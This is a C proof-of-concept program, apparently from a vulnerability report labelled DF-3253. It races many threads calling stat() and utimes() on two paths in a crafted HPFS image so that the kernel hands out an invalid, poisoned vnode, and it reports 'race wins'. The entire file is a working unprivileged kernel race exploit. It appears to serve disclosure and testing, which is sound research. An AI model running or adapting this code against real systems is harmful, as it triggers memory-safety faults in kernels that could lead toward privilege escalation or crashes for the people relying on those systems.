DF-3253 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 | /* * DF-3253 โ hpfs_vget publish-before-validate race PoC (unprivileged). * * hpfs_vget publishes the hpfsnode into the inode hash (hpfs_hphashins, * hpfs_vfsops.c:525) BEFORE bread()/FN_MAGIC validation (:529-541); both * error paths vx_put() and leave the H_INVAL node hashed. hpfs_hphashvget * (hpfs_hash.c:104-139) hands that poisoned node to any concurrent lookup * blocked in vget() โ it never checks H_INVAL. * * namei serializes lookups within one directory (dvp lock), so the race is * driven through TWO DIRECTORIES whose dirents point at the SAME fnode * (crafted image: A/ZFILE and B/WFILE -> fnode 0x58, which the kernel * ALWAYS rejects). Even threads race path A, odd threads race path B. * * Sequentially, stat() of either path can NEVER succeed. stat()==0 with * st_size == 0x00BADF00D (badmagic image) or varying heap garbage (trunc * image) is the poisoned handoff. * * usage: df3253_poc <pathA> <pathB> [nthreads] [iters] */ #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> static const char *g_pathA, *g_pathB; static int g_nthreads = 16; static int g_iters = 4000; static volatile int g_stop = 0; static pthread_mutex_t g_mtx = PTHREAD_MUTEX_INITIALIZER; static int g_wins = 0, g_einval = 0, g_enoent = 0, g_other = 0; static int g_ebadf = 0; static int g_other_errno = 0; static unsigned long long g_win_sizes[16]; static unsigned long long g_win_inodes[16]; static int g_win_paths[16]; static void * racer(void *arg) { long id = (long)arg; const char *path = (id & 1) ? g_pathB : g_pathA; struct stat sb; struct timeval tv; int local_wins = 0, local_einval = 0, local_enoent = 0, local_other = 0; int local_ebadf = 0; int local_other_errno = 0; int i; for (i = 0; i < g_iters && !g_stop; i++) { gettimeofday(&tv, NULL); if (stat(path, &sb) == 0) { local_wins++; if (local_wins <= 2) { pthread_mutex_lock(&g_mtx); if (g_wins < 16) { g_win_sizes[g_wins] = (unsigned long long)sb.st_size; g_win_inodes[g_wins] = (unsigned long long)sb.st_ino; g_win_paths[g_wins] = (id & 1) + 1; } printf("RACE WIN tid%ld path%c: stat()=0 on a " "fnode the kernel always rejects: " "st_size=0x%llx st_ino=0x%llx " "st_blocks=%llu mode=%o\n", id, (id & 1) ? 'B' : 'A', (unsigned long long)sb.st_size, (unsigned long long)sb.st_ino, (unsigned long long)sb.st_blocks, sb.st_mode); pthread_mutex_unlock(&g_mtx); } if (local_wins >= 8) g_stop = 1; /* enough evidence */ } else if (errno == EINVAL) { local_einval++; /* hpfs_vget rejected: normal */ } else if (errno == EBADF) { /* * cvn_stat's v_type switch aborted a vnode that a * SUCCESSFUL lookup returned (VNON: the failing * creator never set v_type). That IS the poisoned * handoff. Confirm with a full syscall that does * not check v_type: utimes() on the same path. */ local_ebadf++; tv.tv_usec = 0; if (utimes(path, &tv) == 0) { local_wins++; if (local_wins <= 4) { printf("UTIMES WIN tid%ld path%c: " "utimes()=0 on a fnode the " "kernel ALWAYS rejects " "(poisoned handoff confirmed)\n", id, (id & 1) ? 'B' : 'A'); } if (local_wins >= 8) g_stop = 1; } } else if (errno == ENOENT) { local_enoent++; } else { local_other++; if (local_other_errno == 0) local_other_errno = errno; } } pthread_mutex_lock(&g_mtx); g_wins += local_wins; g_einval += local_einval; g_enoent += local_enoent; g_other += local_other; g_ebadf += local_ebadf; if (local_other_errno && g_other_errno == 0) g_other_errno = local_other_errno; pthread_mutex_unlock(&g_mtx); return (NULL); } int main(int argc, char **argv) { pthread_t t[64]; long i; if (argc < 3) { fprintf(stderr, "usage: %s <pathA> <pathB> [nthreads] [iters]\n", argv[0]); return (2); } setvbuf(stdout, NULL, _IONBF, 0); g_pathA = argv[1]; g_pathB = argv[2]; if (argc > 3) g_nthreads = atoi(argv[3]); if (argc > 4) g_iters = atoi(argv[4]); if (g_nthreads > 64) g_nthreads = 64; printf("DF-3253: racing %d threads x %d stats (even->%s, odd->%s)\n", g_nthreads, g_iters, g_pathA, g_pathB); for (i = 0; i < g_nthreads; i++) pthread_create(&t[i], NULL, racer, (void *)i); for (i = 0; i < g_nthreads; i++) pthread_join(t[i], NULL); printf("DF-3253 SUMMARY: wins=%d einval=%d ebadf(poisoned handoffs " "seen by stat)=%d enoent=%d other=%d", g_wins, g_einval, g_ebadf, g_enoent, g_other); if (g_other_errno) printf(" (other errno=%d)", g_other_errno); printf("\n"); if (g_wins > 0) { printf("DF-3253 FIRST-WIN ATTRS:"); for (i = 0; i < g_wins && i < 4; i++) printf(" [path%c size=0x%llx ino=0x%llx]", g_win_paths[i] == 2 ? 'B' : 'A', g_win_sizes[i], g_win_inodes[i]); printf("\n"); printf("DF-3253 VERDICT: POISONED H_INVAL HPFSNODE HANDED OUT " "BY hpfs_hphashvget โ RACE CONFIRMED\n"); } else { printf("DF-3253 VERDICT: no win this run " "(all lookups correctly failed EINVAL)\n"); } return (0); } |